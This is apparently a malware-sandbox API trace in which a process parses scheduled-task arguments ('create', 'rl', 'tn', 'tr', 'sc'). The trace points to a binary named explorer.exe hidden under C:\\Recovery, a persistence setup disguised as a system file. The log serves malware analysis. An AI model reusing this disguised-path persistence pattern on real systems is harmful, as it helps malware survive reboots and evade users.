[0139.273] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0139.273] SetLastError (dwErrCode=0x490) [0139.273] SetLastError (dwErrCode=0x490) [0139.273] SetLastError (dwErrCode=0x0) [0139.273] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.273] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'" [0139.273] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.273] _memicmp (_Buf1=0x1fc360, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.274] _memicmp (_Buf1=0x1fd510, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.274] SetLastError (dwErrCode=0x7a) [0139.274] SetLastError (dwErrCode=0x0) [0139.274] SetLastError (dwErrCode=0x0) [0139.274] lstrlenW (lpString="'C") returned 2 [0139.274] lstrlenW (lpString="-/") returned 2 [0139.274] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0139.274] SetLastError (dwErrCode=0x490) [0139.274] SetLastError (dwErrCode=0x490) [0139.274] SetLastError (dwErrCode=0x0) [0139.274] _memicmp (_Buf1=0x1fd570, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.274] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.274] GetProcessHeap () returned 0x1e0000 [0139.274] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd590) returned 1 [0139.274] GetProcessHeap () returned 0x1e0000 [0139.274] RtlReAllocateHeap (Heap=0x1e0000, Flags=0xc, Ptr=0x1fd590, Size=0x80) returned 0x1fc2a0 [0139.274] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.274] lstrlenW (lpString=" \x09") returned 2 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0139.274] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0139.275] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0139.276] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0139.276] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0139.276] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0139.276] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0139.276] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0139.276] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0139.276] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0139.276] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0139.276] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0139.276] GetLastError () returned 0x0 [0139.276] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.276] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.276] SetLastError (dwErrCode=0x0) [0139.276] SetLastError (dwErrCode=0x0) [0139.276] lstrlenW (lpString="/rl") returned 3 [0139.276] lstrlenW (lpString="-/") returned 2 [0139.276] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.276] lstrlenW (lpString="create") returned 6 [0139.276] lstrlenW (lpString="create") returned 6 [0139.276] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.276] lstrlenW (lpString="rl") returned 2 [0139.276] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.276] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|create|") returned 8 [0139.276] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.276] lstrlenW (lpString="|create|") returned 8 [0139.276] lstrlenW (lpString="|rl|") returned 4 [0139.276] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0139.276] SetLastError (dwErrCode=0x490) [0139.276] lstrlenW (lpString="?") returned 1 [0139.276] lstrlenW (lpString="?") returned 1 [0139.276] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.276] lstrlenW (lpString="rl") returned 2 [0139.276] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.277] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|?|") returned 3 [0139.277] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.277] lstrlenW (lpString="|?|") returned 3 [0139.277] lstrlenW (lpString="|rl|") returned 4 [0139.277] SetLastError (dwErrCode=0x490) [0139.277] lstrlenW (lpString="s") returned 1 [0139.277] lstrlenW (lpString="s") returned 1 [0139.277] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.277] lstrlenW (lpString="rl") returned 2 [0139.277] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.277] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|s|") returned 3 [0139.277] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.277] lstrlenW (lpString="|s|") returned 3 [0139.277] lstrlenW (lpString="|rl|") returned 4 [0139.277] SetLastError (dwErrCode=0x490) [0139.277] lstrlenW (lpString="u") returned 1 [0139.277] lstrlenW (lpString="u") returned 1 [0139.277] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.277] lstrlenW (lpString="rl") returned 2 [0139.277] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.277] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|u|") returned 3 [0139.277] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.277] lstrlenW (lpString="|u|") returned 3 [0139.277] lstrlenW (lpString="|rl|") returned 4 [0139.277] SetLastError (dwErrCode=0x490) [0139.277] lstrlenW (lpString="p") returned 1 [0139.277] lstrlenW (lpString="p") returned 1 [0139.277] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.277] lstrlenW (lpString="rl") returned 2 [0139.277] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.278] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|p|") returned 3 [0139.278] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.278] lstrlenW (lpString="|p|") returned 3 [0139.278] lstrlenW (lpString="|rl|") returned 4 [0139.278] SetLastError (dwErrCode=0x490) [0139.278] lstrlenW (lpString="ru") returned 2 [0139.278] lstrlenW (lpString="ru") returned 2 [0139.278] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.278] lstrlenW (lpString="rl") returned 2 [0139.278] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.278] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|ru|") returned 4 [0139.278] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.278] lstrlenW (lpString="|ru|") returned 4 [0139.278] lstrlenW (lpString="|rl|") returned 4 [0139.278] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0139.278] SetLastError (dwErrCode=0x490) [0139.278] lstrlenW (lpString="rp") returned 2 [0139.278] lstrlenW (lpString="rp") returned 2 [0139.278] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.278] lstrlenW (lpString="rl") returned 2 [0139.278] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.278] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rp|") returned 4 [0139.278] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.278] lstrlenW (lpString="|rp|") returned 4 [0139.278] lstrlenW (lpString="|rl|") returned 4 [0139.278] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0139.278] SetLastError (dwErrCode=0x490) [0139.278] lstrlenW (lpString="sc") returned 2 [0139.278] lstrlenW (lpString="sc") returned 2 [0139.278] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.278] lstrlenW (lpString="rl") returned 2 [0139.278] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.279] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.279] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.279] lstrlenW (lpString="|sc|") returned 4 [0139.279] lstrlenW (lpString="|rl|") returned 4 [0139.279] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0139.279] SetLastError (dwErrCode=0x490) [0139.279] lstrlenW (lpString="mo") returned 2 [0139.279] lstrlenW (lpString="mo") returned 2 [0139.279] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.279] lstrlenW (lpString="rl") returned 2 [0139.279] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.279] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.279] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.279] lstrlenW (lpString="|mo|") returned 4 [0139.279] lstrlenW (lpString="|rl|") returned 4 [0139.279] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0139.279] SetLastError (dwErrCode=0x490) [0139.279] lstrlenW (lpString="d") returned 1 [0139.279] lstrlenW (lpString="d") returned 1 [0139.279] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.279] lstrlenW (lpString="rl") returned 2 [0139.279] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.279] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|d|") returned 3 [0139.279] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.279] lstrlenW (lpString="|d|") returned 3 [0139.279] lstrlenW (lpString="|rl|") returned 4 [0139.279] SetLastError (dwErrCode=0x490) [0139.279] lstrlenW (lpString="m") returned 1 [0139.279] lstrlenW (lpString="m") returned 1 [0139.279] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.279] lstrlenW (lpString="rl") returned 2 [0139.279] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.279] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|m|") returned 3 [0139.280] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.280] lstrlenW (lpString="|m|") returned 3 [0139.280] lstrlenW (lpString="|rl|") returned 4 [0139.280] SetLastError (dwErrCode=0x490) [0139.280] lstrlenW (lpString="i") returned 1 [0139.280] lstrlenW (lpString="i") returned 1 [0139.280] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.280] lstrlenW (lpString="rl") returned 2 [0139.280] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.280] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|i|") returned 3 [0139.280] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.280] lstrlenW (lpString="|i|") returned 3 [0139.280] lstrlenW (lpString="|rl|") returned 4 [0139.280] SetLastError (dwErrCode=0x490) [0139.280] lstrlenW (lpString="tn") returned 2 [0139.280] lstrlenW (lpString="tn") returned 2 [0139.280] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.280] lstrlenW (lpString="rl") returned 2 [0139.280] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.280] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.280] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.280] lstrlenW (lpString="|tn|") returned 4 [0139.280] lstrlenW (lpString="|rl|") returned 4 [0139.280] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0139.280] SetLastError (dwErrCode=0x490) [0139.280] lstrlenW (lpString="tr") returned 2 [0139.280] lstrlenW (lpString="tr") returned 2 [0139.280] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.280] lstrlenW (lpString="rl") returned 2 [0139.280] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.280] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tr|") returned 4 [0139.280] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.281] lstrlenW (lpString="|tr|") returned 4 [0139.281] lstrlenW (lpString="|rl|") returned 4 [0139.281] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0139.281] SetLastError (dwErrCode=0x490) [0139.281] lstrlenW (lpString="st") returned 2 [0139.281] lstrlenW (lpString="st") returned 2 [0139.281] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.281] lstrlenW (lpString="rl") returned 2 [0139.281] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.281] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|st|") returned 4 [0139.281] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.281] lstrlenW (lpString="|st|") returned 4 [0139.281] lstrlenW (lpString="|rl|") returned 4 [0139.281] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0139.281] SetLastError (dwErrCode=0x490) [0139.281] lstrlenW (lpString="sd") returned 2 [0139.281] lstrlenW (lpString="sd") returned 2 [0139.281] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.281] lstrlenW (lpString="rl") returned 2 [0139.281] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.281] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sd|") returned 4 [0139.281] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.281] lstrlenW (lpString="|sd|") returned 4 [0139.281] lstrlenW (lpString="|rl|") returned 4 [0139.281] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0139.281] SetLastError (dwErrCode=0x490) [0139.281] lstrlenW (lpString="ed") returned 2 [0139.281] lstrlenW (lpString="ed") returned 2 [0139.281] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.281] lstrlenW (lpString="rl") returned 2 [0139.281] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.281] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|ed|") returned 4 [0139.281] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.281] lstrlenW (lpString="|ed|") returned 4 [0139.282] lstrlenW (lpString="|rl|") returned 4 [0139.282] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0139.282] SetLastError (dwErrCode=0x490) [0139.282] lstrlenW (lpString="it") returned 2 [0139.282] lstrlenW (lpString="it") returned 2 [0139.282] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.282] lstrlenW (lpString="rl") returned 2 [0139.282] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.282] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|it|") returned 4 [0139.282] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.282] lstrlenW (lpString="|it|") returned 4 [0139.282] lstrlenW (lpString="|rl|") returned 4 [0139.282] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0139.282] SetLastError (dwErrCode=0x490) [0139.282] lstrlenW (lpString="et") returned 2 [0139.282] lstrlenW (lpString="et") returned 2 [0139.282] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.282] lstrlenW (lpString="rl") returned 2 [0139.282] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.282] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|et|") returned 4 [0139.282] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.282] lstrlenW (lpString="|et|") returned 4 [0139.282] lstrlenW (lpString="|rl|") returned 4 [0139.282] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0139.282] SetLastError (dwErrCode=0x490) [0139.282] lstrlenW (lpString="k") returned 1 [0139.282] lstrlenW (lpString="k") returned 1 [0139.282] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.282] lstrlenW (lpString="rl") returned 2 [0139.283] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.283] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|k|") returned 3 [0139.283] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.283] lstrlenW (lpString="|k|") returned 3 [0139.283] lstrlenW (lpString="|rl|") returned 4 [0139.283] SetLastError (dwErrCode=0x490) [0139.283] lstrlenW (lpString="du") returned 2 [0139.283] lstrlenW (lpString="du") returned 2 [0139.283] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.283] lstrlenW (lpString="rl") returned 2 [0139.283] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.283] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|du|") returned 4 [0139.283] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.283] lstrlenW (lpString="|du|") returned 4 [0139.283] lstrlenW (lpString="|rl|") returned 4 [0139.283] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0139.283] SetLastError (dwErrCode=0x490) [0139.283] lstrlenW (lpString="ri") returned 2 [0139.283] lstrlenW (lpString="ri") returned 2 [0139.283] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.283] lstrlenW (lpString="rl") returned 2 [0139.283] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.283] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|ri|") returned 4 [0139.283] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.283] lstrlenW (lpString="|ri|") returned 4 [0139.283] lstrlenW (lpString="|rl|") returned 4 [0139.283] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0139.283] SetLastError (dwErrCode=0x490) [0139.283] lstrlenW (lpString="z") returned 1 [0139.283] lstrlenW (lpString="z") returned 1 [0139.283] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.284] lstrlenW (lpString="rl") returned 2 [0139.284] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.284] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|z|") returned 3 [0139.284] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.284] lstrlenW (lpString="|z|") returned 3 [0139.284] lstrlenW (lpString="|rl|") returned 4 [0139.284] SetLastError (dwErrCode=0x490) [0139.284] lstrlenW (lpString="f") returned 1 [0139.284] lstrlenW (lpString="f") returned 1 [0139.284] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.284] lstrlenW (lpString="rl") returned 2 [0139.284] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.284] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|f|") returned 3 [0139.284] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.284] lstrlenW (lpString="|f|") returned 3 [0139.284] lstrlenW (lpString="|rl|") returned 4 [0139.284] SetLastError (dwErrCode=0x490) [0139.284] lstrlenW (lpString="v1") returned 2 [0139.284] lstrlenW (lpString="v1") returned 2 [0139.284] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.284] lstrlenW (lpString="rl") returned 2 [0139.284] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.284] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|v1|") returned 4 [0139.284] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rl|") returned 4 [0139.284] lstrlenW (lpString="|v1|") returned 4 [0139.284] lstrlenW (lpString="|rl|") returned 4 [0139.284] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0139.284] SetLastError (dwErrCode=0x490) [0139.284] lstrlenW (lpString="xml") returned 3 [0139.284] lstrlenW (lpString="xml") returned 3 